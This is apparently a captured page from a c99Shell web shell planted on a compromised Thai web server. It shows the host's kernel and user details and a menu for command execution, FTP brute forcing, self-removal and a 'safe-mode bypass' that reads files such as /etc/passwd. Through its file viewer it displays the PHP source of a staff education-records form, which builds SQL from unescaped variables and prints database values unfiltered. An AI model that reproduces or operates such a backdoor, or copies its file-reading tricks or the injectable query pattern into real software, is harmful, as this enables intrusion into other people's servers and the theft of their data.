!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/person/   drwxr-xr-x
Free 52.82 GB of 127.8 GB (41.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Frm_Edit_Edu.php (16.39 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../include/Function.php" );
        require_once( 
"../include/FunctionDB.php" );
        
/**  Create Database Object  */
        
$dbObj = new DBConn;

        
//=== SESSION
        
$Username $valid_user
        
        
        
/**  Config Table for This Page  */
        
$myTable1 "personal_tb";
        
        
/**  Table  -->  personal_tb  */
        
$query " SELECT *  FROM $myTable1  WHERE  Teacher_code ='$Teacher_code '  ";
        
$result $dbObj->execQuery($query);
        
$rs $dbObj->fetchArray($result);
            
$Teacher_code $rs['Teacher_code'];

        
    } 
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<title>ข้อมูลประวัติส่วนตัว - แก้ไขข้อมูลประวัติการทำงาน</title>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
    
include("../templates/incHeader.php");
?>
<table width="1003" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="203" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>
    <td width="800" height="440" align="center" valign="top" style="padding:10px 0px 5px 10px">
    <?php
        
/**  Query เพื่อหา Numrows ก่อน  */
    
?>
    <fieldset>
     <table width="780" border="0" cellspacing="0" cellpadding="0">
      <form id="myForm" name="myForm" method="post" action="Edit_Edu_His.php?Teacher_code=<?=$rs['Teacher_code'];?>">
      <tr>
        <td height="5"></td>
      </tr>
      <tr>
        <td height="30" background="../images/background/bg-head-topic-w780.gif" class="PADDING-LEFT-10"><strong><a href="index.php">หน้าหลัก</a></strong> <strong>&raquo; <a href="Show_Fam_History.php?Teacher_code=<?=$rs['Teacher_code'];?>&Faculty_code=<?=$Faculty_code;?>">ข้อมูลประวัติส่วนตัว</a> &raquo; <span class="NOTE">แก้ไขข้อมูลประวัติการศึกษา</span></strong></td>
        </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td height="150" align="center"><table width="95%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#EAEAEA" style="border:0px solid gray">
                      <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">
                        <td width="110" height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">วุฒิการศึกษาสูงสุด</td>
                        <td width="10" nowrap="nowrap" bgcolor="#FFFFFF">&nbsp;</td>
                        <td width="611" nowrap="nowrap" bgcolor="#FFFFFF">
                          <input type="radio" name="Degree_code" <?php if ( !strcmp("$rs[Degree_code]","1") ) { echo "checked"; } ?> value="1" /> ปริญญาตรี
                          <input type="radio" name="Degree_code" <?php if ( !strcmp("$rs[Degree_code]","2") ) { echo "checked"; } ?> value="2" /> ปริญญาโท
                          <input type="radio" name="Degree_code" <?php if ( !strcmp("$rs[Degree_code]","3") ) { echo "checked"; } ?> value="3" /> ปริญญาเอก
                          <input type="radio" name="Degree_code" <?php if ( !strcmp("$rs[Degree_code]","4") ) { echo "checked"; } ?> value="4" /> อื่นๆ</td>
                      </tr>
                      <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">
                        <td height="10" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF"></td>
                        <td height="10" nowrap="nowrap" bgcolor="#FFFFFF"></td>
                        <td height="10" nowrap="nowrap" bgcolor="#FFFFFF"></td>
                      </tr>
                      <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">
                        <td height="20" align="right" valign="top" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10 PADDING-TOP-10">ระดับปริญญาตรี</td>
                        <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-TOP-5">&nbsp;</td>
                        <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-TOP-5"><table width="100%" border="0" cellspacing="1" cellpadding="0">
                          <tr>
                            <td width="66%">วุฒิการศึกษา <input name="Degree_His1" type="text" id="Degree_His1" value="<? echo $rs['Degree_His1'] ; ?>" size="45" /> </td>
                            <td width="34%"><input type="radio" name="Type_degree1" id="Type_degree1" <?php if ( !strcmp("$rs[Type_degree1]","1") ) { echo "checked"; } ?> value="1" />
                            ด้านวิทยาศาสตร์สุขภาพ</td>
                          </tr>
                          <tr>
                            <td>วิชาเอก <input name="Degree_His1_Major" type="text" id="Degree_His1_Major" value="<? echo $rs['Degree_His1_Major'] ; ?>" size="50" /></td>
                            <td><input type="radio" name="Type_degree1" id="Type_degree1" <?php if ( !strcmp("$rs[Type_degree1]","3") ) { echo "checked"; } ?> value="3" />
                              ด้านการพยาบาล</td>
                          </tr>
                          <tr>
                            <td>สถาบัน <input name="Degree_His1_Institute" type="text" id="Degree_His1_Institute" value="<? echo $rs['Degree_His1_Institute'] ; ?>" size="50" /></td>
                            <td><input type="radio" name="Type_degree1" id="Type_degree1" <?php if ( !strcmp("$rs[Type_degree1]","2") ) { echo "checked"; } ?> value="2" />
ด้านอื่นฯ</td>
                          </tr>
                          <tr>
                            <td> วันที่
<select name="mDate1" id="mDate1" class="select" >
                              <?php
           $Date  
$rs[Degree_His1_End_Year];
           
$yearthai explode("-",$Date );
           
$mDate =   intval($yearthai[2]);
           
$mMonth =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);
            for(
$i=0;$i<=31;$i++)
             {  
            if( 
$i == 0)
               echo
"\n\t<option value=\"$mDate\" selected>$mDate</option>\n ";
             else
               echo
"\n\t<option value=\"$i\">$i</option>\n ";
              }
                 
//    getDay1to31();
           
?>
                              </select>
เดือน
<select name="mMonth1" id="mMonth1" class="select" >
  <?php
          $Date  
$rs[Degree_His1_End_Year];
           
$yearthai explode("-",$Date);
           
$mDate=   intval($yearthai[2]);
           
$Month =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);     
           
$mMonth $Month;
          
$CMonth TxtThaiMonth($Month);
           for(
$i=-1;$i<=11;$i++)
              {
             
$a $i+1;
                if( 
$a == 0)
                  echo
"\n\t<option value=\"$mMonth\" selected>$CMonth</option>\n ";
             else
                  echo
"\n\t<option value=\"$a\">$ThaiMonth[$i]</option>\n ";
              }
                 
// getThaiMonth();
          
?>
</select>
พ.ศ.
<input name="mYear1" type="text" id="mYear1" value="<? echo $mYear?>" size="3" maxlength="4" style="text-align:center" /> 
ที่สำเร็จการศึกษา</td>
                            <td>&nbsp;</td>
                          </tr>
                        </table></td>
                      </tr>
                      <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">
                        <td height="20" align="right" valign="top" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10 PADDING-TOP-10">ระดับปริญญาโท</td>
                        <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-TOP-5">&nbsp;</td>
                        <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-TOP-5"><table width="100%" border="0" cellspacing="1" cellpadding="0">
                          <tr>
                            <td width="66%">วุฒิการศึกษา <input name="Degree_His2" type="text" id="Degree_His2" value="<? echo $rs['Degree_His2'] ; ?>" size="45" /> </td>
                            <td width="34%"><input type="radio" name="Type_degree2" id="Type_degree2" <?php if ( !strcmp("$rs[Type_degree2]","1") ) { echo "checked"; } ?> value="1" />
                            ด้านวิทยาศาสตร์สุขภาพ</td>
                          </tr>
                          <tr>
                            <td>วิชาเอก <input name="Degree_His2_Major" type="text" id="Degree_His2_Major" value="<? echo $rs['Degree_His2_Major'] ; ?>" size="50" /></td>
                            <td><input type="radio" name="Type_degree2" id="Type_degree2" <?php if ( !strcmp("$rs[Type_degree2]","3") ) { echo "checked"; } ?> value="3" />
ด้านการพยาบาล</td>
                          </tr>
                          <tr>
                            <td>สถาบัน <input name="Degree_His2_Institute" type="text" id="Degree_His2_Institute" value="<? echo $rs['Degree_His2_Institute'] ; ?>" size="50" /></td>
                            <td><input type="radio" name="Type_degree2" id="Type_degree2" <?php if ( !strcmp("$rs[Type_degree2]","2") ) { echo "checked"; } ?> value="2" />
ด้านอื่นฯ</td>
                          </tr>
                          <tr>
                            <td>
                              วันที่
                              <select name="mDate2" id="mDate2" class="select" >
                                <?php
           $Date   
$rs[Degree_His2_End_Year];
           
$yearthai explode("-",$Date);
           
$mDate =   intval($yearthai[2]);
           
$mMonth =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);
            for(
$i=0;$i<=31;$i++)
             {  
            if( 
$i == 0)
               echo
"\n\t<option value=\"$mDate\" selected>$mDate</option>\n ";
             else
               echo
"\n\t<option value=\"$i\">$i</option>\n ";
              }
                 
//    getDay1to31();
           
?>
                              </select>
เดือน
<select name="mMonth2" id="mMonth2" class="select" >
  <?php
          $Date  
$rs[Degree_His2_End_Year];
           
$yearthai explode("-",$Date );
           
$mDate=   intval($yearthai[2]);
           
$Month =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);     
           
$mMonth $Month;
          
$CMonth TxtThaiMonth($Month);
           for(
$i=-1;$i<=11;$i++)
              {
             
$a $i+1;
                if( 
$a == 0)
                  echo
"\n\t<option value=\"$mMonth\" selected>$CMonth</option>\n ";
             else
                  echo
"\n\t<option value=\"$a\">$ThaiMonth[$i]</option>\n ";
              }
                 
// getThaiMonth();
          
?>
</select>
พ.ศ.
<input name="mYear2" type="text" id="mYear2" value="<? echo $mYear?>" size="3" maxlength="4" style="text-align:center" /> 
ที่สำเร็จการศึกษา</td>
                            <td>&nbsp;</td>
                          </tr>
                        </table></td>
                      </tr>
                      <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">
                        <td height="20" align="right" valign="top" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10 PADDING-TOP-10">ระดับปริญญาเอก</td>
                        <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-TOP-5">&nbsp;</td>
                        <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-TOP-5"><table width="100%" border="0" cellspacing="1" cellpadding="0">
                          <tr>
                            <td width="66%">วุฒิการศึกษา <input name="Degree_His3" type="text" id="Degree_His3" value="<? echo $rs['Degree_His3'] ; ?>" size="45" /> </td>
                            <td width="34%"><input type="radio" name="Type_degree3" id="Type_degree3" <?php if ( !strcmp("$rs[Type_degree3]","1") ) { echo "checked"; } ?> value="1" />
ด้านวิทยาศาสตร์สุขภาพ</td>
                          </tr>
                          <tr>
                            <td>วิชาเอก 
                            <input name="Degree_His3_Major" type="text" id="Degree_His3_Major" value="<? echo $rs['Degree_His3_Major'] ; ?>" size="50" /></td>
                            <td><input type="radio" name="Type_degree3" id="Type_degree3" <?php if ( !strcmp("$rs[Type_degree3]","3") ) { echo "checked"; } ?> value="3" />
ด้านการพยาบาล</td>
                          </tr>
                          <tr>
                            <td>สถาบัน <input name="Degree_His3_Institute" type="text" id="Degree_His3_Institute" value="<? echo $rs['Degree_His3_Institute'] ; ?>" size="50" /></td>
                            <td><input type="radio" name="Type_degree3" id="Type_degree3" <?php if ( !strcmp("$rs[Type_degree3]","2") ) { echo "checked"; } ?> value="2" />
ด้านอื่นฯ</td>
                          </tr>
                          <tr>
                            <td>
                              วันที่
                              <select name="mDate3" id="mDate3" class="select" >
                                <?php
           $Date  
$rs[Degree_His3_End_Year];
           
$yearthai explode("-",$Date);
           
$mDate =   intval($yearthai[2]);
           
$mMonth =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);
            for(
$i=0;$i<=31;$i++)
             {  
            if( 
$i == 0)
               echo
"\n\t<option value=\"$mDate\" selected>$mDate</option>\n ";
             else
               echo
"\n\t<option value=\"$i\">$i</option>\n ";
              }
                 
//    getDay1to31();
           
?>
                              </select>
เดือน
<select name="mMonth3" id="mMonth3" class="select" >
  <?php
          $Date  
$rs[Degree_His3_End_Year];
           
$yearthai explode("-",$Date );
           
$mDate=   intval($yearthai[2]);
           
$Month =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);     
           
$mMonth $Month;
          
$CMonth TxtThaiMonth($Month);
           for(
$i=-1;$i<=11;$i++)
              {
             
$a $i+1;
                if( 
$a == 0)
                  echo
"\n\t<option value=\"$mMonth\" selected>$CMonth</option>\n ";
             else
                  echo
"\n\t<option value=\"$a\">$ThaiMonth[$i]</option>\n ";
              }
                 
// getThaiMonth();
          
?>
</select>
พ.ศ.
<input name="mYear3" type="text" id="mYear3" value="<? echo $mYear?>" size="3" maxlength="4" style="text-align:center" /> ที่สำเร็จการศึกษา</td>
                            <td>&nbsp;</td>
                          </tr>
                        </table></td>
                      </tr>
                      <tr bgcolor="#ECF5FF">
                        <td height="20" bgcolor="#FFFFFF">&nbsp;</td>
                        <td height="20" bgcolor="#FFFFFF">&nbsp;</td>
                        <td height="20" bgcolor="#FFFFFF">&nbsp;</td>
                      </tr>
                      <tr bgcolor="#ECF5FF">
                        <td height="20" bgcolor="#FFFFFF">&nbsp;</td>
                        <td height="20" bgcolor="#FFFFFF">&nbsp;</td>
                        <td height="20" bgcolor="#FFFFFF"><input type="hidden" name="Teacher_code"  value="<? echo $rs['Teacher_code']; ?>" />
                          <input type="submit" name="Submit" value="บันทึก" class="WIDTH60 CURSOR-HAND" />&nbsp;
                          <input type="reset" name="Reset" id="button" value="รีเซ็ต" class="WIDTH60 CURSOR-HAND" />
                        &nbsp;&nbsp;
                        <input type="button" name="button2" id="button2" value="ยกเลิก" class="WIDTH60 CURSOR-HAND" onclick="location.href='Show_Edu_History.php?Teacher_code=<?=$Teacher_code;?>'" /></td>
                      </tr>
            </table></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr></form>
    </table>
   </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result1);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0085 ]--